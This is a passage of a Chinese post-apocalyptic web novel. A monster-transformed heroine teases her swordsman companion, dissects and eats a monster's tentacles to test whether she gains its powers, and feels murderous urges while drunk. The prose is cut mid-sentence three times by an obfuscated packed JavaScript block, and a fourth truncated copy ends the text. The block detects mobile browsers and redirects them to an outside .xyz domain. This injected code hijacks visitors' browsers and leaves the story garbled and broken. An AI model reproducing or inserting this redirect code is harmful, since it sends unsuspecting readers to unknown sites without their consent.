“对不起。”他开口认错,“我没想打扰你,只是有点不放心。” “不放心什么?”黎望舒说,“我又不是三岁小孩,我有力量自保。比起我,底下那几个人更需要保护。” “对不起。”郁仪又重复了一遍,顿了顿,又试探地问:“我能待在这里吗?我保证一句话也不说,呼吸也会放轻,尽量不打扰到你。” “……” 黎望舒明白,只要自己说“不行”,郁仪一定会听话地离开,但看着他的水润黑眸与小心翼翼的表情,这两个字在唇边转了一圈,竟有些说不出口。 “……你最好说到做到。”黎望舒不愉快地叹了口气,抱起妞妞,靠坐在窗边——从这个角度,刚好可以看到地下车库的状况。 郁仪双眼一亮,顾及她不太美妙的心情,努力压住上扬的唇角,谨慎地挑了个离她不远不近的位置席地坐下。 妞妞似乎看出了黎望舒不太高兴,与她嬉闹了一阵后,很快地安静下来,将下巴贴在她的“膝盖”上,时不时抬起眼珠偷看她一眼;黎望舒有一搭没一搭地抚摸着妞妞的背毛,视线遥遥地望向远处。 午间的阳光透过玻璃窗,暖洋洋地照在皮肤上,膝上的小狗脑袋均匀地呼吸着,双眼不知何时闭上了,毛绒绒的耳朵不时弹动一下。静谧安和的氛围里,她也生出了些困意,但旁边不时扫过来的视线存在感极强,又让她的牙齿泛起痒意。 “看我做什么。”黎望舒开门见山。 郁仪难为情地摩挲着剑柄,严守自己的诺言,没有回答。 “我问的时候,你可以回答。”黎望舒抬起眉毛。 “也许是我的错觉,但你看起来很疲惫。”郁仪低声说,“我在想,自己能不能为你分担一些东西,让你变得轻松一些。” “有那么明显?”黎望舒说,“我还以为自己藏得很好。” “我能为你做些什么吗?”郁仪抬眸,认真地与她对视,“无论什么事,只要你开口,我就会去做。” 黎望舒刚想摇头,却突然想起了之前的设想——吞噬怪物后,有可能获得它们的能力。这里的“吞噬”需要打个引号,具体指的是什么方式还无法确定,黎望舒暂且将它定义为食用。 要证实这个理论,需要一个没有超能力的人。 “你喜欢吃海鲜吗?”黎望舒冷不丁地问。 “是指鱼或是海带一类的东西吗?”郁仪不明白她提问的用意,茫然地摇了摇头,“我不太喜欢。” “这样啊。”黎望舒遗憾地咂了咂嘴。 那么就只剩杜蕊与她自己了。 虽然连霏和妞妞都或多或少地吃过怪物,并未出现什么特殊反应,但那毕竟是怪物,身上有可能携带着病毒,无法保证食品安全,杜蕊先前又对食用怪物表现出了极大的抗拒……而且说实在的,她不太想让身边的人承担风险。 果然还是自己吃最保险。 决定好用于实验的人选后,新的问题又来了——吃哪一种。 普通的小怪物就算吃了也不一定能得到能力,要吃的话,最好弄只高级种……说起来,地下车库里刚好有一只新鲜的彼岸。 虽然食材是现成的,但一想起彼岸曾经吃过那么多的人类,她心中又生出了微妙的抗拒感,仿佛吃了彼岸的自己也间接地食人了似的。食用方法也需要考虑,烤熟再吃或是生吃,功效应该大不相同。 还有一个问题,彼岸生得与人类太相似了,人身的部分她不一定下得去嘴,能食用的部分估计只有背后那一簇触手……但思来想去,好像还是有哪里不太对劲,她对吞噬的理解好像出现了一些偏差,但除了食用之外,她暂时想不出其他“吞噬”的方法了。 总之回去之后,先把彼岸杀掉解剖,翻一翻它的身体里有没有特殊的物质,再考虑食用的事。 被她直勾勾的视线盯得有些不自在,郁仪僵硬地维持着端坐的姿势,忍不住问:“其实我也没那么讨厌,如果你有需要的话,我也能吃。” “随口一问而已,不用勉强。”黎望舒回过神来,“说起来,之前的确见你将海带结剩下过。” “那是多久以前的事了,你怎么还记得。”郁仪的耳廓红透了,“现在不会了,每一餐我都没有浪费。” “汪呜……” 她光顾着思考,没顾得上摸妞妞,它有些不满意似的,抬起下巴拱她的手。她胡乱在妞妞的后脑勺挠了几下,感受到手下的小狗脑袋立刻安分下来,不由得有些好笑:“它和你有点像。” “我和妞妞?”郁仪呆住了,心下有些忐忑,“哪里像?” “偶尔会闹脾气,但只要稍微顺顺毛,就会立刻变得听话。”说着,黎望舒伸出触手,从脑后悄悄攀上郁仪的脸颊,缠住了他的眼睛,“就像这样。” “……!”郁仪浑身一颤,立刻拽紧了剑柄上的绑带,却将腰上的绑带也一同扯住了,线条流畅的腰身被勾勒出来,劲瘦的同时又极富力量感,看得黎望舒有些心痒,立刻顺从心底的冲动,又伸了根触手,卷上了他的腰。 “别、别这样……”视野被覆盖,眼前一片黑暗,身体上的感官就变得格外敏感,几乎就在腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888546|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身被触碰的下一个瞬间,他抑制不住地起了反应。 看不见黎望舒的表情,郁仪害怕被她嫌弃,连忙侧过身体遮挡,想要开口让她停下,可一张嘴就会漏出颤抖的喘息。触手仍在蠕动,他牙关紧咬,拼尽全力稳住了气息,低声哀求:“够了吧,别……别再戏弄我了……” “我又没缠住你的手,你可以自己把它们揪下来呀。”黎望舒的声音带着笑意,心情似乎颇为愉悦,“你还是这样,只知道求饶,却不反抗。” 郁仪喘息着说不出话来,眼中几乎要溢出泪来。 如果这样就能让她高兴起来的话,也无妨——虽然他很想这样说,但身体上似欢愉、更似痛苦的触感实在让他无法忍受……这个人从来都只会点火,而不为他灭火——郁仪略带埋怨地想着,心中却又忍不住地泛起甜蜜。 至少……她只会这样对待自己。 触手缠绕的位置越来越微妙,就在他的忍耐到达极限,即将爆发时,眼前的触手突然抽身而去,阳光骤然刺入瞳孔,刺激得他溢出了些生理性的泪水。 “看看你这副样子。”不知何时,黎望舒站在了他的面前,笑眯眯地俯下身子,手指抚上他滚烫的脸颊,“真不像话。” 她手指冰冷,郁仪只觉得自己的脑子也被烧糊涂了,想要为自己降温,下意识用脸颊贴了上去;短短一触后,她笑了一声,收回手指,对待小狗似的摸了摸他的脑袋,“我先下去了,你冷静好再跟上来吧。” 说罢,她就无情地和妞妞一起扬长而去,将一身狼狈的他丢在了这里。 “哈……哈……” 这次的反应有些缠人,静了半天心也消退不下去——郁仪睁开双眼,看了眼空无一人的楼梯,崩溃地将自己缩进角落。 …… “你回来啦!”杜蕊摸了摸妞妞,又伸头往她身后看了一眼,“郁仪呢,他不是去找你了吗?” “他……还得过段时间才能回来。”回想起郁仪那副秀色可餐的样子,黎望舒压下唇边的笑容,在车库里扫了一眼,眼神一凝,“彼岸去哪儿了?我走之前她还躺在这里。” “闻风藻嫌它躺在那里碍眼,就把它拖到更深的地方了,他好像相当讨厌彼岸。”杜蕊指向车库阴暗的深处,又有点疑惑,“你找它做什么,还要再切它两刀吗?” “呃,这个嘛……”想起了她对食用怪物的抗拒,黎望舒含糊道:“有点事。” “要我帮忙吗?”连霏也凑了过来,摩拳擦掌地问。 “不用,我只是想把它剖开看看。”黎望舒说,“可能会有些动静,你们当没听到就好,也不要过来看。” “剖开??”闻风藻猛地坐了起来,难以置信道:“为什么?” “呃……研究一下?我对它的身体很有兴趣,反正你也不喜欢它,不行吗?” 黎望舒甚至没说自己还要顺便吃两口,但闻风藻已然一副天崩地裂的表情了。他喉结微滚,似乎还想说什么,但最后只是无奈地叹了口气:“你……唉,随便吧。别弄得太血腥啊。” “明白。”黎望舒微笑着回答。 40. 第 40 章 阴暗的车库角落里,血液的腥气与潮气在空气中蔓延,黎望舒微微直起腰,打量着地上成了一堆碎片的彼岸,手中的小刀仍在滴血。 彼岸的腹腔、头颅、手臂都被剖开,血肉组织袒露在空气中,甚至心脏里头都被黎望舒翻了个遍,但从中没有发现任何特殊的物体。 “没有吗。”黎望舒喃喃自语,目光投向了被她分割好放在一旁的触手。 本以为能从中找到丧尸晶核一类的东西……果然,不能将末世小说作为参考啊。这样一来,就只剩下一条路了。 郁仪一言不发地蹲在一边,眼睁睁地看着她满手是血地抹了把额头,连脸上都沾上了彼岸的淡红色血液,忍不住嘴角一抽,差点破功出声。 他对黎望舒先前的做法心怀不满,现在正在进行禁言抗议,但黎望舒的心思都放在彼岸身上,一直低着头忙碌,连眼皮都没有掀过一下……他无声的抗议,根本没被她注意到。 郁仪心中刚生出一股挫败感,就见黎望舒抬眸盯了他一眼,手指竖在唇边,似乎是示意他不要出声。 “?”但他本来就没说话啊。 他正迷茫着,就见黎望舒突然从旁边的一堆触手里捡了一根出来,拎在面前凝视半晌后,猛地塞进了口中。 “……!” 郁仪大惊失色,顿时顾不上什么抗议了,大步上前捏住她的脸颊,想让她吐出来,压低声音斥道:“你做什么!” 口中的触手咬起来冰凉有弹性,口感意外地很不错,但味道一言难尽,腥味几乎直直地冲上了天灵盖……黎望舒不敢细品,掰开郁仪的手,强忍着将它吞了下去,又拧开了备在一旁的水瓶,灌了几大口才勉强清掉了口腔里的怪味。 “你咽下去了?”郁仪面色铁青,手指微微一动,恨不得扣着喉咙口让她吐出来,“我们明明储存了那么多的物资,你为什么要……” “还记得虫母说过的话吗?”黎望舒缓了口气,“在地下巢穴里,它误以为你有超能力时,脱口而出的那句话。” 郁仪凝神回忆片刻后,找回了那段被他忽略的记忆:“它说的好像是,人类之所以能得到能力,是因为吞了它的同胞?” “没错。”黎望舒点头,“食用也是一种吞噬,我想试试。” “那也不能用自己冒险。”郁仪不赞同地蹙眉,“别吃了,下次再遇到劫道的人,我活捉两个回来给你做实验品。” “没想到会从你口中听到这么缺德的方案。”黎望舒有些意外,“我还以为像你这种仙气飘飘的剑客,应该会心怀苍生、以保护人类为己任。你师父没传给你祖训或是师门教条吗?” “哪里看来的刻板印象。”郁仪有些无奈,“师父只教过我剑术,我从来都不是高尚的人,你把我想得太善良了。” “因为你一直表现得很无私。”黎望舒说,“以你的能力明明可以独善其身,却偏要跟在我们身边保护,一路走来,哪怕被托付了艰难的任务,甚至差点死在图书馆,也从没见你抱怨过,不是吗?” “那是因为——”郁仪一时语塞,下意识错开了视线,“……因为我想待在你身边。” “我的道德底线不高。陌生人的死活我不在乎,也从不认为自己有义务拯救他们,我……只在乎你,所以也想保护你珍视的同伴。如果没有你,我甚至不会下山——”鼓起勇气向她剖析自己的内心,郁仪一边说,一边紧张地抬眸看向黎望舒,却看到她眼神失焦地望向前方,不知在想些什么,嘴里不知何时又咬上了一截触手。 ……宁愿吃这种东西都不愿意听他说话? “——你在听吗?”气得大脑发胀,郁仪说不下去了,崩溃地将声音提高,“算我求你,别吃了!不是说好了用其他人来尝试吗?” “我又没答应。”黎望舒叼着触手一脸无辜,“我可以等,但这些触手不行。现在不吃的话,它们会腐烂的。” “你非要把它们全吃完?” 黎望舒点头。 那是认真的眼神,她没在开玩笑——意识到这一点的那一瞬间,郁仪的太阳穴开始隐隐作痛。 他了解的黎望舒一向不为外物所动摇,决定好要去做的事情后就不会回头,仅凭自己无法改变她的想法……既然这样,就只能换一种方法了。 郁仪沉默地看着她吞下了口中的东西,就在她伸手去拿下一条触手的时候,他吸了口气,伸手轻轻拽住了她的袖子,低声开口:“让我也吃一点。” “你确定?”黎望舒讶异地回头看他,“你连海带结都吃不下,这个腥气更重,你接受不了的。” “我可以的。”郁仪从她手中接过一条触手,坚定地说:“我没有能力也没有触手,比你更适合做实验品。剩下的触手都是我的,你别再吃了。” 既然黎望舒已经吃了,那他也没什么好怕的。就算最后真的吃出问题了,至少他们两个能死在一起,也算是件好事。 郁仪将触手夹在指间,不愿细看它的模样,重重吐出一口气后,视死如归地将它放入口中,然后维持着这个姿势僵在了原地。 黎望舒饶有兴趣地打量着他的反应。 ……牙齿咬在触手表面的那一瞬间,一股混着铁锈味的腥气立刻冲入鼻腔,郁仪用尽了毕生理智,才勉强压下了立刻将它吐出来的冲动。牙齿嵌入冰冷的触手内部,强烈的生鲜感袭来,让他意识到口中的食物未被烤熟,口感又韧又滑又脆,橡皮筋似的难以咬断……他从未发觉,咀嚼居然是如此困难的一件事。 总算将触手咬成了两段,但喉咙口像是被上了锁似的,半截触手卡在上面怎么也咽不下去,来来回回地反而催发出了呕吐欲,他紧紧捂住嘴唇,额头渗出冷汗。 “算了吧。”黎望舒将水瓶递给他,“别勉强了,吐出来。” 郁仪接过了水,却梗着脖子不愿吐,反而又灌了一大口水,将两截触手硬生生地送服下去了。 “……再来一条!” 缓了好一会儿,他好不容易喘匀了气,面色白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895046|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得像鬼,居然还不打算放弃……黎望舒甚至有些佩服他的决心了。 “你不能再吃了。”黎望舒叹了口气,“别露出那种表情——我也不吃了。” 郁仪一怔:“真的?” “这不就是你的目的吗,满意了吧。”黎望舒丢开用来切割触手的小刀,拍了拍手上血液凝成的碎屑,“我本来就没对这种方法抱有期待,也不觉得这么简单就能得到能力,吃它更多是因为好奇它的味道。” “好奇……”郁仪呆住了。 “你不会真的相信,我会把那堆触手全吃光吧。”黎望舒微微眯起双眼,“真是天真得可爱。” 看到她熟悉的、带着点坏心眼的微笑,郁仪腰眼一麻,耳根发烫:“因为……因为你看起来很认真。” “哈哈……说明我糊弄人的本事了得。”黎望舒忍不住笑起来,“不过我没想到你会这么抗拒,对我来说,触手的味道其实还不错——第一口冲击力很大,到了第二口就习惯了,甚至有些上头。” 说着,她又拎起一根触手,叼在嘴边,冲他眨了眨眼。 “你……少吃点吧。”郁仪叹了口气,没力气再去阻止她了。 吃都吃了,多一口少一口也差不了多少。 “你们俩窝在这儿干什么呢?怎么还吃上了。” 背后传来闻风藻的声音,黎望舒一个激灵,迅速将露在外面的一小节触手吸回口中。 郁仪向来对她言听计从,就算闹了别扭也非常好哄,所以她敢在他面前肆无忌惮,但闻风藻不一样……吃触手的事,绝不能让他发现! ——但已经晚了。 闻风藻眼睁睁看着她嗦面条似的,将一小段条形物体吸入口中,虽然没看清那究竟是什么东西,但结合旁边切得整齐的一盘触手和郁仪略带心虚的表情,他很容易便联想到了真相。 “……”他笑容消失,面色逐渐泛起了青,视线在面前的二人身上打了个转,张了张口,又突兀地闭上了嘴巴。 “有事吗?”黎望舒面带微笑,将触手压在舌下,含糊地问。 “……你在吃什么?”闻风藻又拿出了他的招牌假笑,一字一顿地问。 “从彼岸巢穴里淘来的小零食。”黎望舒说,“这是最后一点了。” 她面色如常,表现得非常自然,闻风藻狐疑地盯了她片刻,正要打消疑虑时,目光一偏,发现了郁仪爆红的耳朵,“……” “……”黎望舒顺着他的视线望去,一时间也说不出话了。 郁仪这家伙,是真的不擅长说谎啊。 “怎、怎么了?”被这两个人紧盯着,郁仪强装镇定,欲盖弥彰道:“她吃得确实是小零食,绝不是什么奇怪的东西。” “好了,你不要再说了。”眼看郁仪越描越黑,黎望舒干脆破罐子破摔,“没什么大不了的,一点小海鲜而已。” “你管它……这玩意儿叫小海鲜??”闻风藻难以置信地压低了声音,“你这样和吃人有什么区别!” 41. 第 41 章 “呼……这是最后一箱了吧。” 夕阳西下,杜蕊将一个大纸箱搬进后备箱,擦了把汗,回头向闻风藻确认。 “对,还要留点空间装光伏板,搬完这箱就可以休息了。”闻风藻点头,一转头就抓住了想要溜走的黎望舒,顿时沉下脸色,“你们两个,不许离开我的视线范围。” “我又没打算跑。”黎望舒从杜蕊包里摸了本漫画出来,仰面躺在地上,懒洋洋地翻看。 “你们到底干了什么啊。”杜蕊好奇,“能让小闻气成这样。” “相信我,你不会想知道的。”闻风藻皮笑肉不笑地回答。 “越这样说,就越让人好奇啊。”杜蕊悄悄嘀咕了一句,转身去另一边帮连霏收光伏板。 黎望舒手上这本是杜蕊钟爱的少女漫画,画风美型,剧情甜到让人牙酸。她实在欣赏不来,草草翻了几页,很快就失去兴致,将书塞回了原处。 她无聊地叹了口气,目光转向另一边的空地——连霏正在费力地拆卸光伏板,杜蕊则跟在旁边为她打下手,二人低声交谈着,似乎说到了有意思的话题,不时传出笑声。 黎望舒看得有些心痒痒,很想凑过去听听她们在说什么,但刚动一步,闻风藻的目光立刻转了过来,牢牢地盯住了她。 “我只是过去听听。”黎望舒无奈,“用得着这么紧张吗。” 闻风藻冷哼一声——自从目睹了黎望舒吃触手的样子,他一直是这副态度,黎望舒费了好一番功夫才勉强让他冷静下来;但他似乎还不放心,时刻紧盯着黎望舒的动向,生怕一个不注意,她又会将奇怪的东西塞进嘴里。 “望舒。”见她靠近,连霏卸下最后一根支撑杆,抬头腼腆地冲她微笑:“这边快弄完了,大概十分钟后就能出发。” “我不是来催进度的。”黎望舒笑着说,“只是看你们笑得开心,有点好奇你们在聊什么。” “没、没什么……” 连霏脸颊泛红,不好意思说出口,但杜蕊没注意到她的羞涩,脱口而出:“我们在聊你的事呢!” “我?”黎望舒讶异地挑眉,“我的话题很有趣吗?你们不会在揭我的糗事吧。” “算不上啦,就是想对比一下高中的你和大学的你有什么不一样。”杜蕊哈哈一笑,凑过来勾住了黎望舒的肩膀,“不过真没想到,那时候你居然那么好说话,怎么遇见我的时候一副拒人于千里之外的样子,我差点被你吓跑。” “那会儿忙着兼职,一天要打几份工,没时间社交。”黎望舒淡声道,“偏偏遇到了你这么个缠人精。” 触到连霏困惑的目光,杜蕊解释:“那时候我发现她很忙,于是准时准点帮她从食堂带三餐,还不收跑腿费!风雨无阻地带了一个多月才攻略下她。” ……的确有这么一回事。 她成年后就没再接受过杨院长打来的生活费,而是选择自力更生养活自己,打工的同时还要兼顾学习,从清晨连轴转到深夜,身心俱疲,分不出精力应付身边人,整日冷着脸进进出出。 其他舍友看不惯她这副样子,都对她敬而远之,唯独杜蕊像个永远不会枯竭的小太阳似的,就算面对她冷淡的态度也没有气馁,一直对她很热情……大概是担心她被孤立吧。 “注意用词,别说得像恋爱游戏似的。”黎望舒无语,“真不明白,那时候的我对你来说只是个普通舍友,有什么价值值得你那样付出。” “嘿嘿,不懂就对了,这叫投资。”杜蕊美滋滋地说,“我眼光真是太好了。” 连霏一边听她们聊天,一边小心地将光伏板重新折叠起来,黎望舒担心她拿不稳,于是在旁边托了一把,连霏感激地道了声谢。 将折叠成小块的光伏板抱在怀里,连霏向后备箱的方向走去,语气带着一丝羡慕:“你们两个关系真好。” “说起这个,你高中的时候不是很崇拜她吗?”杜蕊好奇地问,“为什么没去找她要个联系方式呀,经常聊聊天,关系很快就会拉近了。” “……我怎么敢。”连霏摇头,偷偷瞟了眼黎望舒,小声说:“你不知道她有多受欢迎。新生演讲之后,她的照片在学校论坛里传得满天飞,找她要联系方式的人一抓一大把,但没有一个成功的。” “哇。”杜蕊忍不住咋舌,“望舒也做过风云人物啊,难以想象。” “小孩子扎堆凑热闹而已,实际上没几个人真的对我感兴趣。”黎望舒面不改色,“我并没有批评他们的意思,谁都有年轻的时候。” “你也有吗?”杜蕊兴致勃勃地问。 黎望舒微妙地沉默了两秒,而后坚决地摇头。 她青春期的妄想太羞耻了,绝不能让任何人知道——有段时间,她无法接受别的孩子都有父母而自己没有,于是坚信自己是被外星人送到地球来的孩子,真正的父母总有一天会开着五彩炫光的UFO来接她回家。 幸好只是妄想,没有留下任何文字证据。 待连霏小心翼翼地将光伏板塞进后备箱里,大家拎上了早已收拾好的背包,坐上车准备出发。 “这好像是我们第一次在晚上出发吧。”杜蕊贴着车窗,望了眼红霞漫天的天际线,“晚霞好漂亮!可惜城市里高楼太多,看不到全貌。” “对了,差点忘记说了。”连霏猛地想起来,“接下来停车的时候最好别离城市太近,光伏板搭建在空旷的地方比较好。” “明白。”郁仪握着方向盘点头。 “哈……一想到接下来不用再收集汽油就一身轻松。”杜蕊放松地向后靠,“可惜了之前那辆车上的物资,又要丢在半路了。” “就当它们是储备粮吧。”黎望舒安慰她,“以后如果途径这里,可以回来找一找。” “觉不觉得我们很像过冬前的松鼠?”闻风藻又开始发挥他的冷幽默,“松果藏了一堆又一堆,但转头就忘了。终于想起来再回头去找的时候,才发现那些储备早已被别人吃掉了。” “别说了……我的心更痛了。”杜蕊垮下肩膀。 没过多久,随着天色越来越暗,车厢内叽叽喳喳的谈话声也逐渐消失了。杜蕊打开后座顶上的小灯,借着灯光翻看膝上的少女漫画,但没翻两页头就歪了下去,双唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903075|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微张着睡熟了。 黎望舒也有些犯困,她闭上双眼,任由意识下沉。不知过了多久,身下的颠簸突然停了下来,她瞬间从浅眠中挣脱,警觉地睁眼:“怎么了?” “没事,你接着睡吧。”郁仪解开了安全带,“能源不足,只能开到这里了。” “果然……今天午后才把光伏板架起来,周围高楼又多,发电效率有点差。”连霏也醒了过来,打着哈欠往车窗外看了一眼,“这里还挺空旷的,天亮后架满一天,明晚就不会缺电了。” 说罢,她又闭上了眼睛,接着睡去。 “后座有点挤,要不要下车?”郁仪瞄了眼后视镜,“我去给你拿睡袋。” “不用,我不睡了。”黎望舒打开车门,被冰冷的夜风一吹,顿时清醒了不少,“你留在车里别动,我在周围绕一圈就回来。” “……绝对不许跟上来。”临走前,黎望舒想起郁仪上次的自作主张,回头警告地盯了他一眼,作为回应,得到了一个乖巧的点头。 眼睛适应了黑暗后,黎望舒眯起双眼,在周围简单扫视了一圈——郁仪似乎有意地往偏僻的地方开,这附近一片荒凉,道路两旁是荒芜的田地,人烟稀少,只有几处低矮平房,远处隐约有一片小树林,枝桠光秃秃地立在寒风中。 月亮高悬在头顶,离天亮还有相当长的一段时间。想起了后备箱里种类繁多的罐头,黎望舒心念一动,向那片小树林走去。 …… “唔……好香……” 昏沉的意识被一阵浓郁肉香唤醒,杜蕊迷迷糊糊地动了动鼻子,只觉得那股香味就在鼻子前面。她本以为自己在做梦,却没想到一睁眼,真的看到了一罐热气腾腾的肉汤。 “哇!”杜蕊一下子清醒过来,惊喜地伸手去接,“我不是在做梦吧!” “小心烫。”黎望舒将罐头拿远了些,笑眯眯地伸了根触手拉她起来,“来这边吃。” 天还未亮,沉沉夜色中,一大簇暖黄篝火跳动着将空地照亮。篝火上搭着一个粗铁丝拧成的简易支架,支架中间吊着一个铁皮罐头,里头的肉汤咕嘟咕嘟地冒着沸腾水泡,底下偶尔响起噼啪的木柴声。 除杜蕊以外的几人都已经醒来,正围坐在篝火旁边,一边低声谈笑,一边分享热乎乎的肉汤,面上映着摇曳的暖黄火光,看起来温馨极了。 “好暖和……上一次吃到热饭还是在图书馆里。”捧着温热的铁皮罐头,杜蕊也在篝火边上盘膝坐下,低头仔细嗅了嗅,“闻起来有点膻,这是羊肉罐头?” “嗯,不喜欢的话可以换别的。”黎望舒又转到了车厢背后,一番翻找后,抱着一个箱子走了回来,“多亏了彼岸,现在后备箱里什么样的罐头都有。” “不用换,我喜欢羊肉。”杜蕊迫不及待地捞了块肉送入口中,被扎实的口感感动得几乎要落下泪来,“至福!活着真是太好了。” 杜蕊还陶醉在肉香中,抬头就见黎望舒抱着镂空的塑料箱走来。她眯起双眼细细辨别一番后,面色一变,忍不住想起了糟糕的回忆:“等等,这是……啤酒?你什么时候带上的!” 42. 第 42 章 “从酒店里顺回来的。”距火堆几步远的地方,黎望舒抱着整箱的啤酒,一脸无辜,“不行吗?” “当然不行!”杜蕊罕见地竖起眉毛,“你不会忘了,上次喝醉的时候自己把家里闹成什么样了吧。” “……那只是个意外。”黎望舒略感心虚,“今天难得高兴,我保证只喝一点点。” “原来望舒酒品不好吗?”连霏有些意外,“但只是些啤酒,喝一点应该没关系吧,我们人这么多,总不至于让她闹翻天。” “凭我们几个能压住黎姐?”闻风藻怀疑地扬起眉毛,“我怎么觉得不够呢……” “没事,想喝就喝吧。”郁仪说得认真,“有我在,不会有事的。” 真是无知者无畏……杜蕊叹了口气,只好放弃了阻拦,“你们别后悔啊,真出事了我可不管。” 暖洋洋的篝火边上,大家边吃肉边喝酒,不知不觉间,身边散落的空啤酒罐越堆越多;除去滴酒不沾的郁仪外,剩下几人都喝了不少,微醺之间,被火光一照,个个都是面色红润的样子。 “……还有啊,我高中时的那个男朋友才奇葩呢!”杜蕊一改之前抗拒的样子,喝得满面通红,手舞足蹈地讲起了她丰富的情史,“脚踏几条船不说,还得意地四处宣扬,撺掇我为了他去和别的女孩子打架!狗东西想得倒是美,老娘偏不顺他的意,当着所有人的面甩了他两个耳光!” “啊?怎么这样……”连霏面色酡红,丹凤眼一片雾蒙蒙,撑着脸认真地听杜蕊滔滔不绝,不时给出一点回应,“太……太过分了!” “唉……好吵啊。” 闻风藻喝得不多,意识还算清醒,但有些犯困——他上下眼皮打着架,脑袋一点一点地下垂,差点把额前的碎发送进篝火里,多亏旁边的郁仪眼疾手快托了他一把,这才让他的头发逃脱了被烧焦的命运。 黎望舒脸颊微微发热,在拂面的凉风中舒坦地眯起眼睛,脑中没有丝毫醉意,只觉得从未如此清醒过。 看来变成怪物后,自己的酒量也见长了。 她轻巧地拎着啤酒罐,又灌了一大口。饮尽罐中的最后一滴酒后,她随手一捏,扔开了被捏扁的易拉罐,摸索着又打开了新的一罐。 “还要喝吗?”郁仪投来了担忧的视线,“你是不是醉了?” “没有啊。”黎望舒回答,“我很清醒。” 郁仪有些不放心似的,犹豫两秒后,将仍在犯困的闻风藻拖得离火堆远了些,自己则围着火堆绕了半圈,在黎望舒身边坐下。 “干嘛。”黎望舒懒得转头,斜着眼珠瞥他一眼。 “我只是想坐在这里。”郁仪努力做出镇定自若的样子,但一与黎望舒对上视线,立刻破了功,心虚地放低声音:“……不行吗?” “随便你。”黎望舒盯着火堆,打了个哈欠。 “困了吗?今晚你只睡了几个小时。”郁仪关心她,“我去把睡袋拿来?” 不知为何,耳边的声音听起来很沉闷,黎望舒后脑隐隐作痛,皱起眉毛不耐烦地说:“不用……你好啰嗦啊,好烦。” 郁仪立刻不说话了,抱起膝盖耷拉着眉眼,看起来有些委屈。 黎望舒用手撑着地,身体微微后仰,闭上双眼,却没有等来预想中的冰冷夜风——不知是有意还是无意,郁仪刚好坐在上风向,刮来的风大部分被他的身体挡住,漏过来的些许气流被分离、柔化,完全称不上凉爽。 但比起风本身,她现在更关注随风传来的气味——如同雪中的松柏,又让人联想到刚被割过的青草地,那味道清新、淡然,却又有着令人难以忽略的存在感。 她猛地转头,盯住了郁仪。 “……怎么了?”郁仪余光一直放在她身上,骤然与她对上目光,不安地说:“我没说话。” “你说了。”黎望舒眯起眼睛,“你的味道在向我搭话。” “……?” 郁仪下意识抬手,嗅了嗅自己的手腕,又摸了摸自己的头发,却什么也没发现——在地下车库的战斗中,他动作敏捷,身上并没有沾上多少血迹,还算干净,按理说不应该有什么怪味。 郁仪困惑地抬头,想接着问,却发现了黎望舒略显朦胧的眼神。他微微一顿,谨慎地陈述:“你喝醉了。” “我说了,我没醉。”黎望舒回答。 郁仪也不与她争辩,只是默默地又抱起了膝盖,将下半张脸藏进臂弯里,不时担忧地瞄她一眼。 黎望舒对他人的视线非常敏感,郁仪的目光像把小刷子似的,若有若无地从她身上扫过,将她勾得心思浮躁。 她也偏过头去,直勾勾地盯着郁仪——后者睫毛一颤,在她持续不断的注视下,白皙面庞以肉眼可见的速度攀上了红晕,长发软和地垂在脸颊旁边,看起来……秀色可餐。 她喜欢郁仪这副样子。 清楚地察觉到自己的感情的那一瞬间,黎望舒的心脏出现了一瞬的紧缩,危机感猛然爬上心头。 爱是一种危险的情感,它能让人陷入蜜糖般的错觉,让人渐渐失去理智,也能化为锋锐的尖刀,狠狠地刺入心中,让人痛苦万分。 她打心底里排斥这种情感。 紧盯着郁仪双颊泛红的可爱样子,黎望舒微微眯起眼睛,手指不受控制地痉挛了一下——她又一次生出了杀意。 但还不是时候,郁仪现在还不能死,至少不能死在她的手下,因为—— ……因为什么来着? 思维出现了断点,黎望舒困惑地眨了眨眼,以往的温暖回忆与现下的冷酷思考方式混乱地碰撞在一起,几乎要和自己打上一架。 她明明有足以杀死郁仪的力量,之前为什么没能下手?对了,是因为要考虑团队里其他人的心情……若是在他们眼前杀了郁仪,这个小队一定会走向分崩离析。 将那时的顾虑从记忆里拖出来,再重新思考一遍……她甚至觉得,那软弱得不像是她自己的想法。 何必思考那么多,既然想做,又有能力去做,那为什么不去做呢?同伴有怨言也没关系,只需用武力将他们拘束在身边就好。 只要像这样伸出触手,他的命就掌握在自己手中了—— “唔……” 脖颈又一次被冰冷的触手缠绕,郁仪没有抵触,顺从地仰起下巴,并不觉得意外——她喝醉了,酒品又不太好,做出什么事都不奇怪。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 